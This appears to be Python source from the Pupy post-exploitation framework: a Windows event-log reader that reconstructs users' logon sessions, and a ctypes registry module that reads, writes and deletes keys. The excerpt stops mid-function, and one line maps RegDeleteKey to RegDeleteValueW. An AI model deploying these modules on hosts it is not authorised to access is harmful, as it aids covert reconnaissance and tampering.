    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = [\n    'EventLog', 'get_last_events'\n]\n\nimport re\n\nfrom winerror import HRESULT_CODE\n\nfrom time import time\n\nfrom pupwinutils.security import namebysid\ntry:\n    from pupwinutils.security import StationNameByPid\nexcept ImportError:\n    StationNameByPid = None\n\nfrom pywintypes import error\n\nfrom win32api import MAKELANGID, LoadLibraryEx, FreeLibrary, FormatMessageW\nfrom win32con import (\n    LANG_NEUTRAL, SUBLANG_NEUTRAL,\n    FORMAT_MESSAGE_FROM_HMODULE, LOAD_LIBRARY_AS_DATAFILE\n)\n\nfrom sys import getdefaultencoding, version_info\nfrom os.path import expandvars, isfile\nfrom socket import gethostbyaddr\nfrom socket import error as socket_error\n\nfrom win32con import (\n    EVENTLOG_AUDIT_FAILURE,\n    EVENTLOG_AUDIT_SUCCESS,\n    EVENTLOG_INFORMATION_TYPE,\n    EVENTLOG_WARNING_TYPE,\n    EVENTLOG_ERROR_TYPE\n)\n\nfrom _winreg import (\n    OpenKeyEx, EnumKey, CloseKey, QueryValueEx,\n    HKEY_LOCAL_MACHINE, KEY_READ\n)\n\nfrom win32evtlog import (\n    OpenEventLog, ReadEventLog, CloseEventLog,\n    GetNumberOfEventLogRecords,\n    EVENTLOG_BACKWARDS_READ, EVENTLOG_SEQUENTIAL_READ\n)\n\nif version_info.major > 2:\n    basestring = str\n    unicode = str\n    long = int\n\nLANGID = MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)\nBLACKLIST = (\n    'Application Error'\n)\n\nLOGON_TYPES = {\n    2: 'Con',\n    3: 'Net',\n    4: 'Batch',\n    5: 'Service',\n    7: 'Unlock',\n    8: 'Net(CT)',\n    9: 'NewCreds',\n    10: 'RDP',\n    11: 'RDP(C)',\n}\n\n\nclass Match(object):\n    __slots__ = (\n        'value', 'is_num'\n    )\n\n    def __init__(self, value):\n        self.is_num = False\n\n        if value.startswith('0x'):\n            try:\n                self.value = int(value[2:], 16)\n                self.is_num = True\n            except ValueError:\n                pass\n\n        elif all(ch in '0123456789' for ch in value):\n            self.value = int(value)\n            self.is_num = True\n\n        elif all(ch in '0123456789aAbBcCdDeEfF' for ch in value):\n            self.value = int(value, 16)\n            self.is_num = True\n\n        if not self.is_num:\n            self.value = re.compile(value, re.IGNORECASE | re.MULTILINE)\n\n    def matches(self, other):\n        if self.is_num:\n            if isinstance(other, basestring):\n                return any(\n                    tpl.format(self.value) in other for tpl in (\n                        '{}', '{:x}', '{:08x}', '0x{:08x}', '0x{:x}'\n                ))\n            return self.value == other\n        else:\n            return bool(self.value.search(other))\n\n\nclass EventLog(object):\n    event_types = {\n        EVENTLOG_AUDIT_FAILURE: 'FAILURE',\n        EVENTLOG_AUDIT_SUCCESS: 'SUCCESS',\n        EVENTLOG_INFORMATION_TYPE: 'INFO',\n        EVENTLOG_WARNING_TYPE: 'WARNING',\n        EVENTLOG_ERROR_TYPE: 'ERROR'\n    }\n\n    def __init__(self, source=None, max_iters=32768):\n        self._source = source\n        self._exceptions = {}\n        self._formatters_cache = {}\n        self._max_iters = max_iters\n\n        self.sources = self.get_types()\n\n    def _iter_log_names(self):\n        dups = set()\n\n        if self._source:\n            yield self._source.split('/', 1)[0]\n            return\n\n        for well_known in ('Application', 'Security', 'System'):\n            dups.add(well_known)\n            yield well_known\n\n        key = OpenKeyEx(\n            HKEY_LOCAL_MACHINE,\n            u'SYSTEM\\\\CurrentControlSet\\\\Services\\\\EventLog',\n            0, KEY_READ\n        )\n\n        try:\n            idx = 0\n            while idx < self._max_iters:\n                try:\n                    source = EnumKey(key, idx)\n                    if source in dups:\n                        continue\n\n                    dups.add(source)\n\n                    if type(source) == str:\n                        source = source.decode(getdefaultencoding())\n\n                    yield source\n\n                except WindowsError:\n                    break\n\n                finally:\n                    idx += 1\n\n        finally:\n            CloseKey(key)\n\n    def get_types(self):\n        sources = []\n\n        for logname in self._iter_log_names():\n            handle = None\n\n            try:\n                handle = OpenEventLog('', logname)\n                if not handle:\n                    continue\n\n                # If failed, then provider is invalid or inaccessible\n                GetNumberOfEventLogRecords(handle)\n                CloseEventLog(handle)\n\n                sources.append(logname)\n\n            except error as e:\n                if e.winerror not in (6, 87, 1314):\n                    raise\n\n                self._exceptions[logname] = (e, handle)\n\n            except WindowsError as e:\n                self._exceptions[logname] = (e, handle)\n\n        return sources\n\n    def get_events_count(self):\n        events_count = {}\n\n        for logtype in self.sources:\n            log = OpenEventLog('', logtype)\n            if not log:\n                continue\n\n            try:\n                events_count[logtype] = GetNumberOfEventLogRecords(log)\n                CloseEventLog(log)\n\n            except error as e:\n                if e.winerror != 6:\n                    raise\n\n        return events_count\n\n    def get_events(self, logtype, server='', filter_event_id=None, fmt=True, filter_source=None):\n        if filter_event_id is not None:\n            if isinstance(filter_event_id, (int, long)):\n                filter_event_id = {filter_event_id}\n            elif isinstance(filter_event_id, basestring):\n                if ',' in filter_event_id:\n                    filter_event_id = set(int(x.strip()) for x in filter_event_id.split(','))\n                else:\n                    filter_event_id = {int(filter_event_id)}\n\n        log = OpenEventLog(server, logtype)\n        if not log:\n            return\n\n        flags = EVENTLOG_BACKWARDS_READ|EVENTLOG_SEQUENTIAL_READ\n\n        try:\n            events = ReadEventLog(log, flags, 0)\n        except error as e:\n            if e.winerror not in {23}:\n                raise\n\n            return\n\n        try:\n            events = True\n            while events:\n                try:\n                    events = ReadEventLog(log, flags, 0)\n                except error as e:\n                    if e.winerror not in {23}:\n                        raise ValueError\n\n                    return\n\n                if not events:\n                    break\n\n                for ev_obj in events:\n                    event_id = int(HRESULT_CODE(ev_obj.EventID))\n\n                    if filter_event_id is not None and event_id not in filter_event_id:\n                        continue\n\n                    if filter_source is not None and ev_obj.SourceName != filter_source:\n                        continue\n\n                    if not ev_obj.StringInserts:\n                        continue\n\n                    message = None\n\n                    if fmt and ev_obj.SourceName not in self._formatters_cache \\\n                          and ev_obj.SourceName not in BLACKLIST:\n                        source_name = ev_obj.SourceName\n                        if type(source_name) == str:\n                            source_name = source_name.decode(getdefaultencoding())\n\n                        subkey = u'SYSTEM\\\\CurrentControlSet\\\\Services\\\\EventLog\\\\{}\\\\{}'.format(\n                            logtype, source_name\n                        )\n\n                        try:\n                            subkey = subkey.encode(getdefaultencoding())\n                        except UnicodeEncodeError:\n                            subkey = subkey.encode('utf-8')\n\n                        try:\n                            key = OpenKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, KEY_READ)\n                        except WindowsError:\n                            continue\n\n                        try:\n                            dllNames, _ = QueryValueEx(key, 'EventMessageFile')\n\n                            for dllName in dllNames.split(';'):\n                                dllName = expandvars(dllName.strip())\n                                if not isfile(dllName):\n                                    continue\n\n                                dllHandle = LoadLibraryEx(\n                                    dllName, 0, LOAD_LIBRARY_AS_DATAFILE)\n\n                                if not dllHandle:\n                                    continue\n\n                                try:\n                                    message = FormatMessageW(FORMAT_MESSAGE_FROM_HMODULE,\n                                        dllHandle, ev_obj.EventID, LANGID, ev_obj.StringInserts)\n\n                                except error:\n                                    FreeLibrary(dllHandle)\n                                    continue\n\n                                if message:\n                                    self._formatters_cache[ev_obj.SourceName] = dllHandle\n                                    break\n\n                            if not message:\n                                self._formatters_cache[ev_obj.SourceName] = None\n                                message = '\\n'.join(ev_obj.StringInserts)\n\n                        except WindowsError:\n                            self._formatters_cache[ev_obj.SourceName] = None\n                    elif not fmt:\n                        message = [\n                            unicode(x) for x in ev_obj.StringInserts\n                        ]\n\n                    elif ev_obj.SourceName in BLACKLIST or not self._formatters_cache[ev_obj.SourceName]:\n                        message = '\\n'.join(ev_obj.StringInserts)\n                    else:\n                        try:\n                            message = FormatMessageW(\n                                FORMAT_MESSAGE_FROM_HMODULE,\n                                self._formatters_cache[ev_obj.SourceName],\n                                ev_obj.EventID, LANGID, ev_obj.StringInserts)\n\n                        except error:\n                            message = '\\n'.join(ev_obj.StringInserts)\n\n                    user = ''\n\n                    if ev_obj.Sid is not None:\n                        try:\n                            domain, domain_user = namebysid(str(ev_obj.Sid))\n                            user = u'{}\\\\{}'.format(domain, domain_user)\n                        except error:\n                            user = str(ev_obj.Sid)\n\n                    if not message:\n                        continue\n\n                    yield {\n                        'EventID': event_id,\n                        'record': ev_obj.RecordNumber,\n                        'date': int(ev_obj.TimeGenerated),\n                        'computer': ev_obj.ComputerName,\n                        'category': ev_obj.EventCategory,\n                        'msg': message,\n                        'source': logtype + '/' + ev_obj.SourceName,\n                        'type': EventLog.event_types.get(ev_obj.EventType, 'UNKNOWN'),\n                        'user': user\n                    }\n        except GeneratorExit:\n            pass\n\n        finally:\n            for source in tuple(self._formatters_cache):\n                if self._formatters_cache[source]:\n                    FreeLibrary(self._formatters_cache[source])\n                del self._formatters_cache[source]\n\n            CloseEventLog(log)\n\n    def get_last_events(self, count=10, includes=[], excludes=[], eventid=None):\n        events = {}\n\n        includes = [\n            Match(x) for x in includes\n        ]\n\n        excludes = [\n            Match(x) for x in excludes\n        ]\n\n        for log in self.sources:\n            amount = 0\n\n            source = None\n\n            if self._source and '/' in self._source:\n                source = self._source.split('/', 1)[1]\n\n            for event in self.get_events(log, filter_event_id=eventid, filter_source=source):\n                source = event.pop('source')\n\n                if source not in events:\n                    events[source] = []\n\n                append = not includes and not excludes\n                excluded = False\n\n                for key, value in event.items():\n                    if append:\n                        break\n\n                    for exclude in excludes:\n                        if exclude.matches(value):\n                            append = False\n                            excluded = True\n                            break\n\n                    if excluded:\n                        break\n\n                    for include in includes:\n                        if include.matches(value):\n                            append = True\n                            break\n\n                if not includes and not excluded:\n                    append = True\n\n                if not append:\n                    continue\n\n                events[source].append(event)\n\n                amount += 1\n                if amount == count:\n                    break\n\n        return events\n\ndef get_last_events(count=10, includes=[], excludes=[], eventid=None, source=None):\n    return EventLog(source).get_last_events(count, includes, excludes, eventid)\n\ndef lastlog():\n    events = []\n    now = int(time())\n    hostmap = {}\n\n    sessions = {}\n    powerdowns = []\n\n    eventlog = EventLog()\n\n    for event in eventlog.get_events('System', filter_event_id=6008, fmt=False):\n        powerdowns.append(event['date'])\n\n    powerdowns = sorted(powerdowns)\n\n    for event in eventlog.get_events('Security', filter_event_id=(4624,4634,4647), fmt=False):\n        session_id = None\n        if event['EventID'] == 4624:\n            _, _, _, _, _, user, domain, session_id, logon_type, _, \\\n              _, _, _, _, _, _, pid, comm, ip = event['msg'][:19]\n\n            session_id = int(session_id, 16)\n            logon_type = int(logon_type)\n            pid = int(pid, 16)\n\n            if logon_type in (0, 4, 5) or (pid == 0 and logon_type == 3):\n                # Filter out system crap\n                continue\n\n            if comm.endswith('winlogon.exe'):\n                # This is by default, who cares\n                comm = None\n\n            if logon_type == 2 or '-' in ip:\n                ip = None\n\n            if session_id not in sessions:\n                sessions[session_id] = {\n                    'logon_type': logon_type,\n                    'type': None,\n                    'start': None,\n                    'end': None\n                }\n            elif logon_type != sessions[session_id]['logon_type']:\n                continue\n\n            logon_type = LOGON_TYPES.get(logon_type, logon_type)\n\n            if ip and ip not in hostmap:\n                hostname = None\n                try:\n                    hostname = gethostbyaddr(ip)[0]\n                except socket_error:\n                    pass\n\n                hostmap[ip] = hostname\n\n            line = logon_type\n            if StationNameByPid:\n                station = StationNameByPid(pid)\n                if station:\n                    line = '{}: {} ({})'.format(line, station, pid)\n\n                line += ' {:08x}'.format(session_id)\n\n            if not sessions[session_id]['start'] or \\\n                   event['date'] < sessions[session_id]['start']:\n                sessions[session_id]['start'] = event['date']\n\n            if not sessions[session_id].get('host'):\n                sessions[session_id]['host'] = hostmap[ip] if ip else None\n\n            if not sessions[session_id].get('user'):\n                sessions[session_id]['user'] = domain + '\\\\' + user\n\n            if not sessions[session_id].get('ip'):\n                sessions[session_id]['ip'] = ip\n\n            if not sessions[session_id].get('line'):\n                sessions[session_id]['line'] = line\n\n            if not sessions[session_id].get('ip'):\n                sessions[session_id]['pid'] = comm\n\n        elif event['EventID'] in (4634, 4647):\n\n            logon_type = None\n            session_id = None\n\n            if event['EventID'] == 4634:\n                _, _, _, session_id, logon_type = event['msg']\n                logon_type = int(logon_type)\n            else:\n                _, _, _, session_id = event['msg']\n\n            session_id = int(session_id, 16)\n\n            if session_id not in sessions:\n                sessions[session_id] = {\n                    'start': None,\n                    'end': None,\n                    'type': None,\n                    'logon_type': logon_type\n                }\n\n            if logon_type is not None and \\\n                   sessions[session_id]['logon_type'] != logon_type:\n                continue\n\n            if not sessions[session_id]['end'] or \\\n                   event['date'] > sessions[session_id]['end']:\n                sessions[session_id]['end'] = event['date']\n\n        if not session_id:\n            continue\n\n    for session_id in tuple(sessions):\n        if sessions[session_id].get('start') and sessions[session_id].get('end'):\n            sessions[session_id]['duration'] = \\\n              sessions[session_id]['end'] - sessions[session_id]['start']\n            events.append(sessions[session_id])\n            del sessions[session_id]\n\n    if sessions:\n        orphan = [\n            session for session in sessions.values() \\\n                  if 'start' in session and session['start']\n        ]\n\n        for session in orphan:\n            end = now\n            for powerdown in powerdowns:\n                if session['start'] < powerdown:\n                    session['end'] = powerdown\n                    end = powerdown\n                    break\n                else:\n                    session['end'] = -1\n\n            session['duration'] = end - session['start']\n\n        events.extend(\n            sorted(orphan, key=lambda x: x['start'])\n        )\n\n    events = sorted(events, key=lambda x: x['start'], reverse=True)\n\n    return {\n        'now': now,\n        'records': events\n    }\n"
  },
  {
    "path": "pupy/packages/windows/all/reg.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = [\n  'Key', 'search', 'enum',\n  'set', 'get', 'rm'\n]\n\nimport re\nimport sys\nimport struct\nimport threading\nimport traceback\n\nfrom ctypes import (\n    POINTER, byref,\n    c_char_p, c_void_p, c_long,\n    Structure, WinError, WinDLL,\n    create_unicode_buffer, create_string_buffer,\n    wstring_at\n)\n\nfrom ctypes.wintypes import (\n    DWORD, LPCWSTR\n)\n\nfrom pupy.network.lib.pupyrpc import nowait\nfrom pupy.network.lib.convcompat import (\n    try_as_unicode_string, as_native_string\n)\n\nif sys.version_info.major > 2:\n    basestring = str\n    unicode = str\n\n\nclass FILETIME(Structure):\n    _fields_ = [\n        ('dwLowDateTime', DWORD),\n        ('dwHighDateTime', DWORD)\n    ]\n\n\nHKEY = c_void_p\nPHKEY = POINTER(HKEY)\nPFILETIME = POINTER(FILETIME)\nPDWORD = POINTER(DWORD)\nLPDWORD = PDWORD\nLPBYTE = c_char_p\nREGSAM = DWORD\n\nERROR_SUCCESS = 0\nERROR_MORE_DATA = 234\n\nREG_NONE = 0\nREG_SZ = 1\nREG_EXPAND_SZ = 2\nREG_BINARY = 3\nREG_DWORD = 4\nREG_DWORD_BIG_ENDIAN = 5\nREG_DWORD_LITTLE_ENDIAN = 4\nREG_QWORD = 11\nREG_LINK = 6\nREG_MULTI_SZ = 7\nREG_RESOURCE_LIST = 8\nREG_FULL_RESOURCE_DESCRIPTOR = 9\nREG_RESOURCE_REQUIREMENTS_LIST = 10\n\nREG_OPTION_RESERVED = 0x0000\nREG_OPTION_NON_VOLATILE = 0x0000\nREG_OPTION_VOLATILE = 0x0001\nREG_OPTION_CREATE_LINK = 0x0002\nREG_OPTION_BACKUP_RESTORE = 0x0004\nREG_OPTION_OPEN_LINK = 0x0008\n\nKEY_QUERY_VALUE = 0x0001\nKEY_SET_VALUE = 0x0002\nKEY_CREATE_SUB_KEY = 0x0004\nKEY_ENUMERATE_SUB_KEYS = 0x0008\nKEY_NOTIFY = 0x0010\nKEY_CREATE_LINK = 0x0020\nKEY_WOW64_32KEY = 0x0200\nKEY_WOW64_64KEY = 0x0100\nKEY_WOW64_RES = 0x0300\nREAD_CONTROL = 0x00020000\nSYNCHRONIZE = 0x00100000\nSTANDARD_RIGHTS_READ = READ_CONTROL\nSTANDARD_RIGHTS_WRITE = READ_CONTROL\nSTANDARD_RIGHTS_ALL = 0x001F0000\n\nKEY_READ = (\n    (\n        STANDARD_RIGHTS_READ | \\\n        KEY_QUERY_VALUE | \\\n        KEY_ENUMERATE_SUB_KEYS | \\\n        KEY_NOTIFY\n    ) & (~SYNCHRONIZE)\n)\nKEY_WRITE = (\n    (\n        STANDARD_RIGHTS_WRITE | \\\n        KEY_SET_VALUE | \\\n        KEY_CREATE_SUB_KEY\n    ) & (~SYNCHRONIZE)\n)\nKEY_ALL_ACCESS = (\n    (\n        STANDARD_RIGHTS_ALL | \\\n        KEY_QUERY_VALUE | \\\n        KEY_SET_VALUE | \\\n        KEY_CREATE_SUB_KEY | \\\n        KEY_ENUMERATE_SUB_KEYS | \\\n        KEY_NOTIFY | \\\n        KEY_CREATE_LINK\n    ) & (~SYNCHRONIZE)\n)\n\nadvapi32 = WinDLL('advapi32', use_last_error=True)\n\nRegOpenKeyEx = advapi32.RegOpenKeyExW\nRegOpenKeyEx.restype = c_long\nRegOpenKeyEx.argtypes = (\n    HKEY, LPCWSTR, DWORD, REGSAM, PHKEY\n)\n\nRegCreateKeyEx = advapi32.RegCreateKeyExW\nRegCreateKeyEx.restype = c_long\nRegCreateKeyEx.argtypes = (\n    HKEY, LPCWSTR, DWORD,\n    LPCWSTR, DWORD, REGSAM,\n    c_void_p, PHKEY, LPDWORD\n)\n\nRegQueryInfoKey = advapi32.RegQueryInfoKeyW\nRegQueryInfoKey.restype = c_long\nRegQueryInfoKey.argtypes = (\n    HKEY, LPCWSTR, LPDWORD, LPDWORD,\n    PDWORD, LPDWORD, LPDWORD, LPDWORD,\n    LPDWORD, LPDWORD, LPDWORD,\n    PFILETIME\n)\n\nRegEnumValue = advapi32.RegEnumValueW\nRegEnumValue.restype = c_long\nRegEnumValue.argtypes = (\n    HKEY, DWORD, LPCWSTR, LPDWORD,\n    LPDWORD, LPDWORD, LPBYTE, LPDWORD\n)\n\nRegEnumKeyEx = advapi32.RegEnumKeyExW\nRegEnumKeyEx.restype = c_long\nRegEnumKeyEx.argtypes = (\n    HKEY, DWORD, LPCWSTR, LPDWORD,\n    LPDWORD, LPCWSTR, LPDWORD,\n    PFILETIME\n)\n\nRegQueryValueEx = advapi32.RegQueryValueExW\nRegQueryValueEx.restype = c_long\nRegQueryValueEx.argtypes = (\n    HKEY, LPCWSTR, LPDWORD, LPDWORD,\n    LPBYTE, LPDWORD\n)\n\nRegSetValueEx = advapi32.RegSetValueExW\nRegSetValueEx.restype = c_long\nRegSetValueEx.argtypes = (\n    HKEY, LPCWSTR, DWORD, DWORD,\n    LPBYTE, DWORD\n)\n\nRegCloseKey = advapi32.RegCloseKey\nRegCloseKey.restype = c_long\nRegCloseKey.argtypes = (\n    HKEY,\n)\n\nRegDeleteValue = advapi32.RegDeleteValueW\nRegDeleteValue.restype = c_long\nRegDeleteValue.argtypes = (HKEY, LPCWSTR)\n\nRegDeleteKey = advapi32.RegDeleteValueW\nRegDeleteKey.restype = c_long\nRegDeleteKey.argtypes = (HKEY, LPCWSTR)\n\n\nHKEY_CLASSES_ROOT = HKEY(0x80000000)\nHKEY_CURRENT_USER = HKEY(0x80000001)\nHKEY_LOCAL_MACHINE = HKEY(0x80000002)\nHKEY_USERS = HKEY(0x80000003)\nHKEY_PERFORMANCE_DATA = HKEY(0x80000004)\nHKEY_CURRENT_CONFIG = HKEY(0x80000005)\nHKEY_DYN_DATA = HKEY(0x80000006)\n\nWELL_KNOWN_KEYS = {\n    'HKEY_LOCAL_MACHINE': HKEY_LOCAL_MACHINE,\n    'HKLM': HKEY_LOCAL_MACHINE,\n    'HKEY_CURRENT_USER': HKEY_CURRENT_USER,\n    'HKCU': HKEY_CURRENT_USER,\n    'HKEY_CURRENT_CONFIG': HKEY_CURRENT_CONFIG,\n    'HKCC': HKEY_CURRENT_CONFIG,\n    'HKEY_CLASSES_ROOT': HKEY_CLASSES_ROOT,\n    'HKCR': HKEY_CLASSES_ROOT,\n    'HKEY_USERS': HKEY_USERS,\n    'HKU': HKEY_USERS,\n    'HKEY_PERFORMANCE_DATA': HKEY_PERFORMANCE_DATA,\n    'HKPD': HKEY_PERFORMANCE_DATA,\n}\n\nWELL_KNOWN_TYPES = {\n    int: REG_DWORD,\n    str: REG_SZ\n}\n\nif sys.version_info.major < 3:\n    WELL_KNOWN_TYPES[unicode] = REG_SZ\n\nWELL_KNOWN_TYPES_NAMES = {\n    REG_DWORD: 'DWORD',\n    REG_QWORD: 'LE64',\n    REG_BINARY: 'BINARY',\n    REG_DWORD_LITTLE_ENDIAN: 'LE32',\n    REG_DWORD_BIG_ENDIAN: 'BE32',\n    REG_EXPAND_SZ: 'EXPAND_SZ',\n    REG_LINK: 'LINK',\n    REG_MULTI_SZ: 'MULTI_SZ',\n    REG_NONE: 'NONE',\n    REG_RESOURCE_LIST: 'RESOURCE',\n    REG_FULL_RESOURCE_DESCRIPTOR: 'RESOURCE_DESCRIPTOR',\n    REG_RESOURCE_REQUIREMENTS_LIST: 'RESOURCE_REQUIREMENTS_LIST',\n    REG_SZ: 'SZ'\n}\n\n\ndef unpack_dword(value, endian='<'):\n    result = 0\n\n    if len(value) >= 8:\n        result, = struct.unpack(endian + 'Q', value)\n    elif len(value) >= 4:\n        result, = struct.unpack(endian + 'I', value)\n    elif len(value) >= 2:\n        result, = struct.unpack(endian + 'H', value)\n    elif len(value) >= 1:\n        result, = struct.unpack(endian + 'B', value)\n\n    return result\n\n\ndef value_to_bytes(value, ktype):\n    if isinstance(value, str):\n        return value\n\n    if ktype in (REG_SZ, REG_EXPAND_SZ):\n        if not isinstance(value, basestring):\n            value = str(value)\n\n        if not isinstance(value, bytes):\n            value = value.encode('utf-16le')\n\n    elif ktype == REG_MULTI_SZ:\n        new_value = []\n\n        for item in value:\n            if not isinstance(item, basestring):\n                item = str(item)\n\n            if not isinstance(item, bytes):\n                item = item.encode('utf-16le')\n\n            new_value.append(item)\n\n        value = b'\\0'.join(new_value) + b'\\0\\0'\n\n    elif ktype == REG_DWORD:\n        value = struct.pack('<i', value)\n\n    elif ktype == REG_DWORD_LITTLE_ENDIAN:\n        value = struct.pack('<i', value)\n\n    elif ktype == REG_DWORD_BIG_ENDIAN:\n        value = struct.pack('>i', value)\n\n    elif ktype == REG_QWORD:\n        value = struct.pack('<q', value)\n\n    return value\n\n\ndef raise_on_error(code):\n    if code == ERROR_SUCCESS:\n        return\n\n    raise WinError(code)\n\n\ndef QueryValueEx(key, value_name):\n    typ = DWORD()\n    size = DWORD(0)\n\n    value_name = try_as_unicode_string(value_name, fail=False)\n\n    rc = RegQueryValueEx(\n        key, value_name, None,\n        byref(typ),\n        None, byref(size)\n    )\n\n    if rc != ERROR_MORE_DATA:\n        raise_on_error(rc)\n\n    buf = create_string_buffer(size.value)\n    rc = RegQueryValueEx(\n        key, value_name, None,\n        byref(typ),\n        buf, byref(size)\n    )\n\n    raise_on_error(rc)\n    return buf[:size.value], typ.value\n\n\ndef EnumValue(key, index, max_value_size=None, max_data_size=None):\n    if max_data_size is None or max_value_size is None:\n        value_size = DWORD(0)\n        data_size = DWORD(0)\n\n        rc = RegQueryInfoKey(\n            key, None, None, None, None,\n            None, None, None,\n            byref(value_size), byref(data_size),\n            None, None\n        )\n\n        raise_on_error(rc)\n\n        value_size.value += 1\n\n        value = create_unicode_buffer(value_size.value)\n        data = create_string_buffer(data_size.value)\n    else:\n        value_size = DWORD(max_value_size)\n        data_size = DWORD(max_data_size)\n\n        value = create_unicode_buffer(value_size.value)\n        data = create_string_buffer(data_size.value)\n\n    typ = DWORD()\n    rc = RegEnumValue(\n        key, index,\n        value, byref(value_size),\n        None, byref(typ),\n        data, byref(data_size)\n    )\n\n    raise_on_error(rc)\n    return value.value, data[:data_size.value], typ.value\n\n\ndef EnumKey(key, index):\n    tmpbuf = create_unicode_buffer(257)\n    length = DWORD(257)\n\n    rc = RegEnumKeyEx(\n        key, index,\n        tmpbuf,\n        byref(length), None,\n        None, None, None\n    )\n\n    raise_on_error(rc)\n    return wstring_at(tmpbuf, length.value).rstrip(u'\\x00')\n\n\ndef OpenKey(key, sub_key, access=KEY_READ, options=REG_OPTION_RESERVED):\n    sub_key = try_as_unicode_string(sub_key, fail=False)\n\n    new_key = HKEY()\n    rc = RegOpenKeyEx(\n        key, sub_key,\n        options,\n        access,\n        byref(new_key)\n    )\n\n    raise_on_error(rc)\n    return new_key\n\n\ndef CreateKey(key, sub_key, access=KEY_WRITE, options=REG_OPTION_RESERVED):\n    sub_key = try_as_unicode_string(sub_key, fail=False)\n    new_key = HKEY()\n    rc = RegCreateKeyEx(\n        key, sub_key, 0, None, options, access,\n        None, byref(new_key), None\n    )\n\n    raise_on_error(rc)\n    return new_key\n\n\ndef SetValueEx(key, name, ktype, value):\n    value = value_to_bytes(value, ktype)\n    name = try_as_unicode_string(name, fail=False)\n    size = len(value)\n\n    rc = RegSetValueEx(\n        key, name, 0, ktype, value, size\n    )\n    raise_on_error(rc)\n\n\ndef DeleteKey(key, subkey):\n    subkey = try_as_unicode_string(subkey, fail=False)\n    rc = RegDeleteKey(key, subkey)\n    raise_on_error(rc)\n\n\ndef DeleteValue(key, value):\n    value = try_as_unicode_string(value, fail=False)\n    rc = RegDeleteValue(key, value)\n    raise_on_error(rc)\n\n\ndef CloseKey(key):\n    rc = RegCloseKey(key)\n    raise_on_error(rc)\n\n\nclass KeyIter(object):\n    __slots__ = (\n        'handle', 'orig_name', 'key',\n        'sub', 'idx', 'is_value',\n        'max_value_size', 'max_data_size'\n    )\n\n    def __init__(self, orig_name, key, sub, handle):\n        self.orig_name = orig_name\n        self.key = key\n        self.sub = sub\n        self.handle = handle\n        self.idx = 0\n        self.is_value = False\n        self.max_value_size = None\n        self.max_data_size = None\n\n    def next(self):\n        try:\n            result = None\n            if self.is_value:\n                if self.max_value_size is None or self.max_data_size is None:\n                    value_size = DWORD(0)\n                    data_size = DWORD(0)\n\n                    rc = RegQueryInfoKey(\n                        self.handle, None, None, None, None,\n                        None, None, None,\n                        byref(value_size), byref(data_size),\n                        None, None\n                    )\n\n                    raise_on_error(rc)\n\n                    self.max_value_size = value_size.value + 2\n                    self.max_data_size = data_size.value\n\n                name, value, ktype = EnumValue(\n                    self.handle, self.idx,\n                    self.max_value_size, self.max_data_size\n                )\n\n                try:\n                    result = Value(self.orig_name, name, value, ktype)\n                except Exception as e:\n                    raise ValueError('Value({}, {}, {}, {}) - {}'.format(\n                        self.orig_name, name, repr(value), ktype, e))\n            else:\n                value = EnumKey(self.handle, self.idx)\n                result = Key(u'\\\\'.join([self.orig_name, value]))\n\n            self.idx += 1\n            return result\n\n        except WindowsError as e:\n            if e.winerror != 259:\n                self.idx += 1\n                raise\n\n            if self.is_value:\n                raise StopIteration()\n            else:\n                self.idx = 0\n                self.is_value = True\n                return next(self)\n\n\nclass Value(object):\n    __slots__ = ('parent', 'name', 'value', 'type')\n\n    def __init__(self, parent, name, value, ktype):\n        parent = try_as_unicode_string(parent, fail=False)\n        name = try_as_unicode_string(name, fail=False)\n\n        if len(value) < 5 and all(x == '\\0' for x in value):\n            value = ''\n\n        if isinstance(value, bytes):\n            if ktype in (REG_SZ, REG_EXPAND_SZ):\n                try:\n                    value = value.decode('utf-16le')\n                except UnicodeError:\n                    try:\n                        value = value.decode('mbcs')\n                    except UnicodeError:\n                        raise ValueError('{}: {}'.format(repr(value), len(value)))\n\n                value = value.rstrip('\\0')\n\n            elif ktype == REG_MULTI_SZ:\n                values = []\n\n                try:\n                    value = value.decode('utf-16le')\n                except UnicodeError:\n                    try:\n                        value = value.decode('mbcs')\n                    except UnicodeError:\n                        raise ValueError('{}: {}'.format(repr(value), len(value)))\n\n                try:\n                    end_of_value = value.index('\\0\\0')\n                    value = value[:end_of_value]\n                except ValueError:\n                    pass\n\n                while value:\n                    try:\n                        last_zero = value.index('\\0')\n                        record = value[:last_zero]\n                        values.append(record)\n                        value = value[last_zero+1:]\n                    except ValueError:\n                        break\n\n                if value:\n                    values.append(value)\n\n                value = values\n\n            elif ktype in (REG_DWORD, REG_DWORD_LITTLE_ENDIAN, REG_QWORD):\n                value = unpack_dword(value, '<')\n\n            elif ktype == REG_DWORD_BIG_ENDIAN:\n                value = unpack_dword(value, '>')\n\n        self.parent = parent\n        self.name = name\n        self.value = value\n        self.type = ktype\n\n    @property\n    def raw(self):\n        return value_to_bytes(self.value, self.type)\n\n    def __str__(self):\n        return as_native_string(self.value)\n\n    def __int__(self):\n        return int(self.value)\n\n    def __repr__(self):\n        return 'Value({}, {}, {}, {})'.format(\n            repr(self.parent),\n            repr(self.name),\n            repr(self.value),\n            repr(self.type)\n        )\n\n\nclass Key(object):\n    __slots__ = ('arg', 'key', 'sub', 'access', 'create')\n\n    def __init__(self, key, access=KEY_READ, create=False):\n        sub_key = None\n        top_key = None\n\n        key = try_as_unicode_string(key, fail=False)\n        for wkk, wrk in WELL_KNOWN_KEYS.items():\n            if key == wkk:\n                top_key = wrk\n                sub_key = ''\n            elif key.startswith((wkk+'\\\\', wkk+'/')):\n                top_key = wrk\n                sub_key = key[len(wkk)+1:]\n                break\n\n        if not top_key:\n            raise KeyError(key)\n\n        sub_key = sub_key.strip('\\\\')\n\n        self.key = top_key\n        self.sub = sub_key\n        self.arg = key\n        self.access = access\n        self.create = create\n\n    @property\n    def name(self):\n        return self.arg.split('\\\\')[-1]\n\n    @property\n    def parent(self):\n        return u'\\\\'.join(self.arg.split('\\\\')[:-1])\n\n    def _open_key(self, access=KEY_READ):\n        if access is None:\n            access = self.access\n        try:\n            if self.create:\n                return CreateKey(self.key, self.sub, access)\n            else:\n                return OpenKey(self.key, self.sub, access)\n\n        except WindowsError as e:\n            if e.winerror != 2:\n                raise\n\n            raise KeyError(self.sub)\n\n    def 